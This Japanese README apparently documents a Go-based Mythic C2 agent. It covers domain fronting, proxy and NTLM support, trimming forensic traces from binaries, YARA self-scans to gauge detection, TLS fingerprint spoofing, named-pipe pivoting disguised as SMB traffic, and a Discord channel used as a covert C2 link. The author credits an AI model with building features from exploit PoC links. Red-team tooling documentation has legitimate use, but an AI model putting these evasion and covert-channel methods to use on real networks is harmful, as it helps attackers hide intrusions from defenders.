host_header ビルドパラメータを設定して、HTTP Host ヘッダーを上書きします。これによりドメインフロンティングが可能になります: CDN(CloudFront、Azure CDN など)を経由してトラフィックをルーティングし、Host ヘッダーは実際の C2 ドメインをターゲットにします。ネットワーク防御者にとって、トラフィックは CDN の IP アドレスに向かっているように見えます。
プロキシサポート
proxy_url ビルドパラメータを設定して、HTTP または SOCKS プロキシを経由してエージェントトラフィックをルーティングします。必須プロキシサーバーがある企業ネットワークでの運用に役立ちます。例: http://proxy.corp.local:8080, socks5://127.0.0.1:1080
認証プロキシ: proxy_user と proxy_pass を設定してBasic認証を行います。Windowsドメイン認証が必要なエンタープライズプロキシの場合は、proxy_domain(例:CORP)も設定してNTLM認証を有効にします。NTLMハンドシェイク(Type1→Type2→Type3)は、CONNECTトンネル確立中に自動的に実行されます。
システムプロキシ検出(Windows): proxy_urlが設定されていない場合、エージェントはWinHTTPに問い合わせて、PAC/WPAD自動検出を含むシステムプロキシ設定を取得します。
ビルドパスの除去 (-trimpath)
すべてのビルドはGoの-trimpathフラグを使用して、コンパイルされたバイナリからローカルファイルシステムのパスを削除します。これがないと、/home/user/project/...や/go/pkg/mod/...のようなパスがパニックトレースやランタイムメタデータを通じてバイナリに漏洩します。-s -w(シンボル削除)および空の-buildidと組み合わせることで、バイナリ内のフォレンジック情報を最小限に抑えます。Garbleビルドはすでにこれを処理しています。-trimpathはGarble以外のビルドをカバーします。
YARA ビルド後スキャン
コンパイル後、ビルドされたペイロードは、一般的な防御側の検出パターンをモデル化した一連のYARAルールに対して自動的にスキャンされます。結果はMythicのビルド出力に情報提供ステップとして表示されます — スキャンはビルドを失敗させることはありません。
スキャンされる検出カテゴリ:
- Goバイナリの識別とシンボル漏洩
- 漏洩したビルド/開発パス
- Mythic/C2フレームワークの文字列インジケータ
- WindowsインジェクションAPI名
- 資格情報アクセスAPI名
- 防御回避APIパターン
- 永続化メカニズムの文字列
- 平文のC2設定
これにより、オペレーターは検出リスクを理解し、展開前に適切なopsecオプション(garble、obfuscate_stringsなど)を選択できます。
サポートされているC2プロファイル
HTTPプロファイル
HTTPプロファイルは、基本的な非動的プロファイルを介してMythicサーバーにコールバックします。これはデフォルトの出力プロファイルであり、エージェントはHTTP/HTTPS経由でタスクを求めてMythicをポーリングします。
柔軟な機能:
- URIランダム化:
get_uriとpost_uriはリクエストごとに解決されるトークンをサポートしています:{rand:N}— N個のランダムな16進文字(例:/api/{rand:8}→/api/a3f82b1c){int:M-N}— 範囲内のランダムな整数(例:/v{int:1-3}/status→/v2/status)
- Content-Typeの巡回:
content_typesビルドパラメータをカンマ区切りのリスト(例:application/json,text/plain,application/x-www-form-urlencoded)に設定します。エージェントはそれらをラウンドロビンで巡回します。デフォルト:application/x-www-form-urlencoded。 - User-Agentのローテーション:
user_agent_poolビルドパラメータを、改行区切りのUser-Agent文字列リストに設定します。エージェントはリクエストごとにそれらをローテーションし、静的なUAフィンガープリントを排除します。デフォルト: 単一のChrome 134 UA。 - 指数バックオフ: C2の連続失敗時、エージェントはスリープ間隔を2倍にします(最大5分)。正常なコンタクトが成功すると通常の間隔に戻ります。
- TLSフィンガープリンティング: ブラウザのJA3フィンガープリントを偽装します(
chrome、firefox、safari、edge、rotate、random)。 - HTTP/2多重化: HTTPS上での自動h2ネゴシエーション。単一の接続でリクエストを多重化し、ブラウザの動作に合わせます。透過的なh1フォールバック。
- 前方秘匿性: N回のチェックインごとにECDH X25519鍵をローテーション(
key_rotation_interval)。HKDF-SHA256を介して新しいAES-256鍵を導出し、古い鍵をゼロクリアします。鍵漏洩時のブラスト半径を制限します。 - リプレイ保護: すべてのメッセージに単調増加するシーケンス番号(暗号化エンベロープ内)。キャプチャされたリクエスト/レスポンスのリプレイを防止します。
- 相互TLS(mTLS): クライアント証明書認証により、パッシブ傍受とプロキシMITM(T1573.002)を防止します。
- ドメインフロンティング:
host_headerを設定してHTTP Hostヘッダーを上書きします。 - 自動フェイルオーバー: 回復力のあるC2のために
fallback_hostsを設定します。
TCP P2Pプロファイル
TCPプロファイルは、内部ピボットのためのピアツーピア(P2P)エージェントリンクを可能にします。子エージェントはTCPポートまたはWindows名前付きパイプで待機し、linkコマンドを介して親エージェントが接続するのを待ちます。すべてのタスクと応答は親の出力チャネル(HTTP)を経由してルーティングされるため、子はMythicに直接接続することはありません。
アーキテクチャ:``` Mythic Server ←──HTTP──→ Egress Agent (HTTP profile) │ ├──TCP──→ Child Agent A (TCP profile, port 7777) ├──TCP──→ Child Agent B (TCP profile, port 8888) └──SMB──→ Child Agent C (named pipe, \host\pipe\msrpc-f9a1)
**ビルドパラメータ:**
| パラメータ | 説明 | デフォルト |
|-----------|-------------|---------|
| `tcp_bind_address` | 子エージェントが待機するアドレスとポート(例:`0.0.0.0:7777`) | _(空欄 = HTTPモード)_ |
| `namedpipe_bind_name` | 子エージェントが待機する名前付きパイプ名(例:`msrpc-f9a1`)。Windowsのみ。 | _(空欄)_ |
`tcp_bind_address` または `namedpipe_bind_name` が設定されている場合、エージェントはHTTPエグレスモードではなくP2Pリスナーモードで起動します。
**使用ワークフロー(TCP):**
1. TCP C2プロファイルを使用し、`tcp_bind_address` を設定(例:`0.0.0.0:7777`)した**子エージェント**をビルドします。
2. 子エージェントを内部ホストに展開します(インターネットアクセスは不要)。
3. **エグレスエージェント**(HTTPプロファイル)から、`link -host <child_ip> -port 7777` を実行します。
4. Mythicは子エージェント用の新しいコールバックを作成し、すべてのタスクはエグレスエージェントを経由して流れます。
5. 切断するには:`unlink -connection_id <uuid>`
**使用ワークフロー(名前付きパイプ):**
1. TCP C2プロファイルを使用し、`namedpipe_bind_name` を設定(例:`msrpc-f9a1`)した**子エージェント**をビルドします。
2. 子エージェントを内部のWindowsホストに展開します。
3. **エグレスエージェント**から、`link -connection_type namedpipe -host <child_ip> -pipe_name msrpc-f9a1` を実行します。
4. 接続はSMB(ポート445)を使用し、通常のWindowsファイル共有トラフィックに紛れます。
5. 切断するには:`unlink -connection_id <uuid>`
**暗号化:** AES-256-CBC with HMAC-SHA256(HTTPプロファイルと同じ)。ワイヤープロトコルはTCPまたは名前付きパイプ上で4バイトの長さプレフィックス付きフレーミングを使用します。
**再リンクサポート:** 親が切断した場合(例:`unlink` による切断や親エージェントの停止)、子エージェントはチェックインデータをキャッシュし、新しい親接続を待ちます。新しいエグレスエージェントが `link` を実行すると、子エージェントは自動的にMythicに新しいコールバックとして再登録されます。手動での介入は不要です。
**複数の子エージェント:** エグレスエージェントは同時に複数のTCPおよび名前付きパイプ子エージェントにリンクできます。各子エージェントは独自のコールバックで独立して動作します。
**OPSECノート:** 名前付きパイプ接続はSMB(ポート445)を使用し、生のTCPよりもネットワークレベルの兆候が少ないですが、設定されている場合、SysmonイベントID 17/18(PipeEvent)およびMicrosoft-Windows-SMBClientからのETWイベントがログに記録されます。
### Discord C2 プロファイル
Discordプロファイルは、隠蔽C2トランスポートとしてDiscordボットとチャンネルを使用します。エージェントは暗号化されたメッセージをDiscordチャンネルに投稿することでMythicと通信し、サーバーサイドのボットがそれらをgRPCプッシュC2を介してMythicに中継します。
**アーキテクチャ:**```
Fawkes Agent ──Discord REST API──→ Discord Channel ←──Bot──→ Discord C2 Server ──gRPC──→ Mythic
動作の仕組み:
- チェックイン: エージェントは暗号化されたチェックインメッセージをDiscordチャンネルに投稿します。サーバーサイドのボットがそれを受け取り、Mythicに転送し、応答をチャンネルに投稿します。エージェントは応答を見つけるまでポーリングします。
- タスク取得: エージェントはDiscord経由で
get_taskingリクエストを送信します。プッシュC2を使用すると、タスクは独立してチャンネルにプッシュされることもあります。エージェントはポーリングサイクルごとにすべての一致するメッセージを収集します。 - 応答: エージェントはタスク出力をチャンネルに投稿します。大きな応答(1950文字超)はファイル添付として送信されます。
ビルドパラメータ:
| パラメータ | 型 | 説明 | デフォルト値 |
|---|---|---|---|
discord_token | 文字列 | Discord API認証用のボットトークン | (必須) |
bot_channel | 文字列 | メッセージ交換用のDiscordチャンネルID | (必須) |
callback_interval | 文字列 | タスクポーリング間隔(秒) | 10 |
callback_jitter | 文字列 | ジッター割合(0-100) | 23 |
message_checks | 文字列 | 交換あたりの最大ポーリング試行回数 | 20 |
time_between_checks | 文字列 | ポーリング試行間隔(秒) | 5 |
AESPSK | 文字列 | 事前共有AES-256暗号化鍵 | (自動生成) |
暗号化: AES-256-CBCとHMAC-SHA256(HTTPプロファイルと同じ方式)。機密設定(ボットトークン、チャンネルID)は初期化後にAES-256-GCMボールトを使用してメモリ上で暗号化されます。
プッシュC2サポート: Discord C2サーバーはMythicのプッシュC2(永続的なgRPCストリーム)を使用します。タスクはポーリングサイクル間で非同期に到着することがあります。エージェントは以下を実装します:
- 前回のサイクルからのプッシュタスクを捕捉するためのプリポールスイープ
- 高速なタスク配送のためのキャッチアップポーリング(最初の一致後さらに3回のポーリング)
- 一時的な障害時のPostResponse再試行
レート制限: Discord APIのレート制限を尊重し、自動再試行と指数バックオフ(最大5回の再試行)を行います。User-AgentはDiscord APIの要件によりDiscordBot (https://github.com, 1.0)にハードコードされています。
セットアップ前提条件:
- discord.com/developers でDiscordボットを作成します
- ボットのメッセージコンテンツインテントを有効にします
- ボットをサーバーに追加し、権限を設定:メッセージ送信、メッセージ履歴の読み取り、ファイル添付、メッセージ管理
- ボットトークンとターゲットチャンネルIDをメモします
- Discord C2サーバーコンテナの
config.jsonに同じボットトークンとチャンネルIDを設定します
既知の制限事項:
- Mythicの"最終チェックイン"は、プッシュC2ストリームがアクティブな間は"ストリーミング中"と表示されます(プッシュC2モードに固有)。エージェントが約180秒間非アクティブになると、Mythicは実際の最終アクティビティタイムスタンプを表示します。
- Discord APIのレート制限により、高頻度タスク時にレイテンシが発生する可能性があります
- ボットトークンは重要なOPSEC資産です — 漏洩するとC2チャンネルが露出します
- メッセージサイズ制限: インラインで約1950文字、より大きなペイロードはファイル添付を使用します
謝辞
Mythicエージェントについて私が知っていることはすべて、Mythic Docsから、または Merlin および Freyja エージェントからコードやアイデアを盗用することで得ました。
その後は、ClaudeにPoCリンクをひたすら与えてクールなものを依頼するだけです。クレイジーでしょ?
技術と参考文献
- Threadless Injection - CCob氏のThreadlessInject(オリジナルC#実装)および dreamkinn氏のgo-ThreadlessInject(Go移植版)
- sRDI (Shellcode Reflective DLL Injection) - MerlinのGoベースsRDI実装、元は Nick Landers氏 (monoxgas) のsRDI に基づく
- PoolParty Injection - SafeBreach LabsのPoolParty研究(オリジナルC++ PoC)- バリアント詳細
- Opus Injection - コールバックベースのインジェクション技術 - バリアント詳細
- フェニックスアイコンは OpenClipart から